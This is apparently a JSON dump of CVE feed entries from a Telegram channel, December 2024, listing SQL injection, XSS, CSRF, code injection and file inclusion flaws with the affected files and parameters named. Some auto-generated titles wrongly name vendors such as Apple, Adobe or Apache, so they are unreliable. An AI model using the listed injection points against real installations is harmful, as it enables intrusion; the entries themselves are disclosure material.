\"CVE FEED\",\n  \"Title\": \"CVE-2024-12955 - PHPGurukul Blood Bank & Donor Management System CSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12955 \nPublished : Dec. 26, 2024, 3:15 p.m. | 17\u00a0minutes ago \nDescription : A vulnerability has been found in PHPGurukul Blood Bank & Donor Management System 2.4 and classified as problematic. This vulnerability affects unknown code of the file /logout.php. The manipulation leads to cross-site request forgery. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T16:34:22.000000Z"}, {"uuid": "dce1dc86-5067-4ef1-afbe-6dccac10b1a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12927", "type": "seen", "source": "https://t.me/cvedetector/13637", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12927 - \"1000 Projects Attendance Tracking Management System SQL Injection Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12927 \nPublished : Dec. 25, 2024, 11:15 p.m. | 23\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, has been found in 1000 Projects Attendance Tracking Management System 1.0. Affected by this issue is some unknown functionality of the file /faculty/check_faculty_login.php. The manipulation of the argument faculty_emailid leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T00:41:02.000000Z"}, {"uuid": "ff7c0483-55a9-4c30-80aa-0100e1c776e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12952", "type": "seen", "source": "https://t.me/cvedetector/13678", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12952 - Apple App Store MelMass Comfy_mtB Code Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12952 \nPublished : Dec. 26, 2024, 1:15 p.m. | 36\u00a0minutes ago \nDescription : A vulnerability classified as critical was found in melMass comfy_mtb up to 0.1.4. Affected by this vulnerability is the function run_command of the file comfy_mtb/endpoint.py of the component Dependency Handler. The manipulation leads to code injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The patch is named d6e004cce2c32f8e48b868e66b89f82da4887dc3. It is recommended to apply a patch to fix this issue. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T14:54:04.000000Z"}, {"uuid": "5141e9d2-172c-4292-a4ba-b88718cad930", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12949", "type": "seen", "source": "https://t.me/cvedetector/13675", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12949 - Code-projects Travel Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12949 \nPublished : Dec. 26, 2024, 12:15 p.m. | 36\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Travel Management System 1.0. It has been declared as critical. This vulnerability affects unknown code of the file /package.php. The manipulation of the argument subcatid leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T14:03:58.000000Z"}, {"uuid": "fdf3f230-bcb0-4dce-94fb-b4d50b6fbc21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12950", "type": "seen", "source": "https://t.me/cvedetector/13674", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12950 - Adobe Code-Projects Travel Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12950 \nPublished : Dec. 26, 2024, 12:15 p.m. | 36\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Travel Management System 1.0. It has been rated as critical. This issue affects some unknown processing of the file /subcat.php. The manipulation of the argument catid leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T14:03:57.000000Z"}, {"uuid": "5eaba248-c647-40a9-bd46-e3c15c0c0484", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12947", "type": "seen", "source": "https://t.me/cvedetector/13665", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12947 - Codezips Hospital Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12947 \nPublished : Dec. 26, 2024, 11:15 a.m. | 39\u00a0minutes ago \nDescription : A vulnerability was found in Codezips Hospital Management System 1.0 and classified as critical. Affected by this issue is some unknown functionality of the file /invo.php. The manipulation of the argument dname leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T13:13:39.000000Z"}, {"uuid": "c83c5021-6c09-4805-a816-4894ef9a86d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12945", "type": "seen", "source": "https://t.me/cvedetector/13661", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12945 - Simple Car Rental System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12945 \nPublished : Dec. 26, 2024, 10:15 a.m. | 41\u00a0minutes ago \nDescription : A vulnerability classified as critical was found in code-projects Simple Car Rental System 1.0. This vulnerability affects unknown code of the file /account.php. The manipulation of the argument email/pass leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T12:23:28.000000Z"}, {"uuid": "be97766f-762f-422e-a6ac-596f7e545d30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12944", "type": "seen", "source": "https://t.me/cvedetector/13656", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12944 - CodeAstro House Rental Management System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12944 \nPublished : Dec. 26, 2024, 9:15 a.m. | 22\u00a0minutes ago \nDescription : A vulnerability was found in CodeAstro House Rental Management System 1.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file /signin.php. The manipulation of the argument u/p leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T10:43:05.000000Z"}, {"uuid": "b5e051cc-7b50-40d3-9ccf-3dfb04a1a053", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12942", "type": "seen", "source": "https://t.me/cvedetector/13655", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12942 - 1000 Projects Portfolio Management System MCA SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12942 \nPublished : Dec. 26, 2024, 8:15 a.m. | 32\u00a0minutes ago \nDescription : A vulnerability was found in 1000 Projects Portfolio Management System MCA 1.0. It has been classified as critical. Affected is an unknown function of the file /admin/admin_login.php. The manipulation of the argument username/password leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T09:52:56.000000Z"}, {"uuid": "d2e20d8d-9674-46ed-9779-f0624462e665", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12941", "type": "seen", "source": "https://t.me/cvedetector/13654", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12941 - CodeAstro Blood Donor Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12941 \nPublished : Dec. 26, 2024, 8:15 a.m. | 32\u00a0minutes ago \nDescription : A vulnerability was found in CodeAstro Blood Donor Management System 1.0 and classified as critical. This issue affects some unknown processing of the file /pages/deletedannounce.php. The manipulation of the argument id leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T09:52:55.000000Z"}, {"uuid": "61093cba-0c16-41ec-b4a2-abfd19b641af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12933", "type": "seen", "source": "https://t.me/cvedetector/13645", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12933 - Code-Projects Simple Admin Panel Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12933 \nPublished : Dec. 26, 2024, 4:15 a.m. | 26\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Simple Admin Panel 1.0. It has been rated as problematic. Affected by this issue is some unknown functionality of the file updateItemController.php. The manipulation of the argument p_name/p_desc leads to cross site scripting. The attack may be launched remotely. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T05:42:02.000000Z"}, {"uuid": "a4e8acaa-ada1-4ccc-88df-fc61d94537fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12652", "type": "seen", "source": "https://t.me/cvedetector/13644", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12652 - SmartRobot Conversational AI Platform Code Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12652 \nPublished : Dec. 26, 2024, 4:15 a.m. | 26\u00a0minutes ago \nDescription : A Improper Control of Generation of Code ('Code Injection') vulnerability in groovy script function in SmartRobot\u2032s Conversational AI Platform before v7.2.0 allows remote authenticated users to perform arbitrary system commands via Groovy code. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T05:42:02.000000Z"}, {"uuid": "63cca1f4-c1f0-4315-90f2-21b6faf74a87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12934", "type": "seen", "source": "https://t.me/cvedetector/13643", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12934 - Simple Admin Panel SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12934 \nPublished : Dec. 26, 2024, 4:15 a.m. | 26\u00a0minutes ago \nDescription : A vulnerability classified as critical has been found in code-projects Simple Admin Panel 1.0. This affects an unknown part of the file updateItemController.php. The manipulation of the argument p_desk leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T05:42:01.000000Z"}, {"uuid": "e9c1cb80-805a-44da-b8fd-bc9e0347a4f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12931", "type": "seen", "source": "https://t.me/cvedetector/13642", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12931 - Code-projects Simple Admin Panel SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12931 \nPublished : Dec. 26, 2024, 3:15 a.m. | 34\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Simple Admin Panel 1.0. It has been classified as critical. Affected is an unknown function of the file /addCatController.php. The manipulation of the argument size leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T04:51:56.000000Z"}, {"uuid": "38ee8e92-1ea6-4838-973a-6b9eb2148fd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12937", "type": "seen", "source": "https://t.me/cvedetector/13650", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12937 - Apache Code-Projects Simple Admin Panel SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12937 \nPublished : Dec. 26, 2024, 6:15 a.m. | 40\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in code-projects Simple Admin Panel 1.0. Affected is an unknown function of the file addVariationController.php. The manipulation of the argument qty leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T08:12:35.000000Z"}, {"uuid": "cfa7ae5b-f21e-4d83-a3c4-a967380cce56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12935", "type": "seen", "source": "https://t.me/cvedetector/13647", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12935 - Simple Admin Panel SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12935 \nPublished : Dec. 26, 2024, 5:15 a.m. | 16\u00a0minutes ago \nDescription : A vulnerability classified as critical was found in code-projects Simple Admin Panel 1.0. This vulnerability affects unknown code of the file editItemForm.php. The manipulation of the argument record leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T06:32:12.000000Z"}, {"uuid": "073ed97a-385b-44c7-9b26-48a475d27a81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12936", "type": "seen", "source": "https://t.me/cvedetector/13646", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12936 - Simple Admin Panel SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12936 \nPublished : Dec. 26, 2024, 5:15 a.m. | 16\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, has been found in code-projects Simple Admin Panel 1.0. This issue affects some unknown processing of the file catDeleteController.php. The manipulation of the argument record leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T06:32:12.000000Z"}, {"uuid": "2ba4be74-cc2c-4520-9a6d-add9fd676e21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12932", "type": "seen", "source": "https://t.me/cvedetector/13641", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12932 - Simple Admin Panel Remote Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-12932 \nPublished : Dec. 26, 2024, 3:15 a.m. | 34\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Simple Admin Panel 1.0. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file addSizeController.php. The manipulation of the argument size leads to cross site scripting. The attack can be launched remotely. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T04:51:55.000000Z"}, {"uuid": "1841bd6d-6c88-42e8-92e9-1f9498ad27b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12930", "type": "seen", "source": "https://t.me/cvedetector/13640", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12930 - Code-Projects Simple Admin Panel Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12930 \nPublished : Dec. 26, 2024, 2:15 a.m. | 45\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Simple Admin Panel 1.0 and classified as problematic. This issue affects some unknown processing of the file addCatController.php. The manipulation of the argument c_name leads to cross site scripting. The attack may be initiated remotely. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T04:01:44.000000Z"}, {"uuid": "278b951c-d644-4b04-8ab7-6e5f5048e8eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12928", "type": "seen", "source": "https://t.me/cvedetector/13639", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12928 - Code-Projects Simple Admin Panel Remote SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12928 \nPublished : Dec. 26, 2024, 12:15 a.m. | 43\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in code-projects Simple Admin Panel 1.0. This affects an unknown part. The manipulation of the argument c_name leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T02:21:24.000000Z"}, {"uuid": "49d1d5fb-14d3-454d-b5d5-78dac4b546e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12929", "type": "seen", "source": "https://t.me/cvedetector/13638", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12929 - Apache Code-projects Student Management System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12929 \nPublished : Dec. 26, 2024, 12:15 a.m. | 43\u00a0minutes ago \nDescription : A vulnerability has been found in code-projects Student Management System 1.0.00 and classified as critical. This vulnerability affects unknown code of the file /addCatController.php. The manipulation of the argument size leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T02:21:23.000000Z"}, {"uuid": "d644849c-16e9-46f3-8fd4-9d3642d64eab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12236", "type": "seen", "source": "https://t.me/cvedetector/12514", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12236 - \"Google Cloud Vertex Gemini API VPC-SC File URI Exfiltration\"\", \n  \"Content\": \"CVE ID : CVE-2024-12236 \nPublished : Dec. 10, 2024, 3:15 p.m. | 42\u00a0minutes ago \nDescription : A security issue exists in Vertex Gemini API for customers using VPC-SC. By utilizing a custom crafted file URI for image input, data exfiltration is possible due to requests being routed outside the VPC-SC security perimeter, circumventing the intended security restrictions of VPC-SC.  \n  \nNo further fix actions are needed. Google Cloud Platform implemented a fix to return an error message when a media file URL is specified in the fileUri parameter and VPC Service Controls is enabled. Other use cases are unaffected. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-10T17:28:33.000000Z"}, {"uuid": "388ef3d2-aaa2-4fcd-a5a8-7b1086137857", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12335", "type": "seen", "source": "https://t.me/cvedetector/13621", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12335 - Avada Fusion Builder WordPress Information Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12335 \nPublished : Dec. 25, 2024, 7:15 a.m. | 30\u00a0minutes ago \nDescription : The Avada (Fusion) Builder plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 3.11.12 via the handle_clone_post() function and the 'fusion_blog' shortcode and due to insufficient restrictions on which posts can be included. This makes it possible for authenticated attackers, with contributor-level access and above, to extract data from password protected, private, or draft posts that they should not have access to. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-25T08:47:50.000000Z"}, {"uuid": "f5c1acbc-82bb-492e-86b6-c686289d650e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12428", "type": "seen", "source": "https://t.me/cvedetector/13617", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12428 - Wordpress WP Data Access SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12428 \nPublished : Dec. 25, 2024, 5:15 a.m. | 39\u00a0minutes ago \nDescription : The WP Data Access \u2013 App, Table, Form and Chart Builder plugin plugin for WordPress is vulnerable to SQL Injection via the 'order[user_login][dir]' parameter in all versions up to, and including, 5.5.22 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-25T07:07:32.000000Z"}, {"uuid": "2809a94b-7336-475f-80a2-d744b291581f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12636", "type": "seen", "source": "https://t.me/cvedetector/13616", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12636 - WordPress Legal Pages CSRF\", \n  \"Content\": \"CVE ID : CVE-2024-12636 \nPublished : Dec. 25, 2024, 5:15 a.m. | 39\u00a0minutes ago \nDescription : The Privacy Policy Generator, Terms & Conditions Generator WordPress Plugin : WP Legal Pages plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.2.6. This is due to missing or incorrect nonce validation on the 'create_popup_delete_process' function. This makes it possible for unauthenticated attackers to delete popups via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-25T07:07:31.000000Z"}, {"uuid": "66346072-c9f0-477a-b2e9-21e5467f0a82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12272", "type": "seen", "source": "https://t.me/cvedetector/13613", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12272 - WP Travel Engine \u2013 Elementor Widgets Local File Inclusion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12272 \nPublished : Dec. 25, 2024, 4:15 a.m. | 38\u00a0minutes ago \nDescription : The WP Travel Engine \u2013 Elementor Widgets | Create Travel Booking Website Using WordPress and Elementor plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.3.7 via several widgets. This makes it possible for authenticated attackers, with Contributor-level access and above, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other \u201csafe\u201d file types can be uploaded and included. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-25T06:17:22.000000Z"}, {"uuid": "fa32250b-d6a1-446b-a1d7-3565b4bf6016", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12903", "type": "seen", "source": "https://t.me/cvedetector/13533", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12903 - Evoko Home Default Permissions Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12903 \nPublished : Dec. 23, 2024, 1:15 p.m. | 41\u00a0minutes ago \nDescription : Incorrect default permissions vulnerability in Evoko Home, affecting 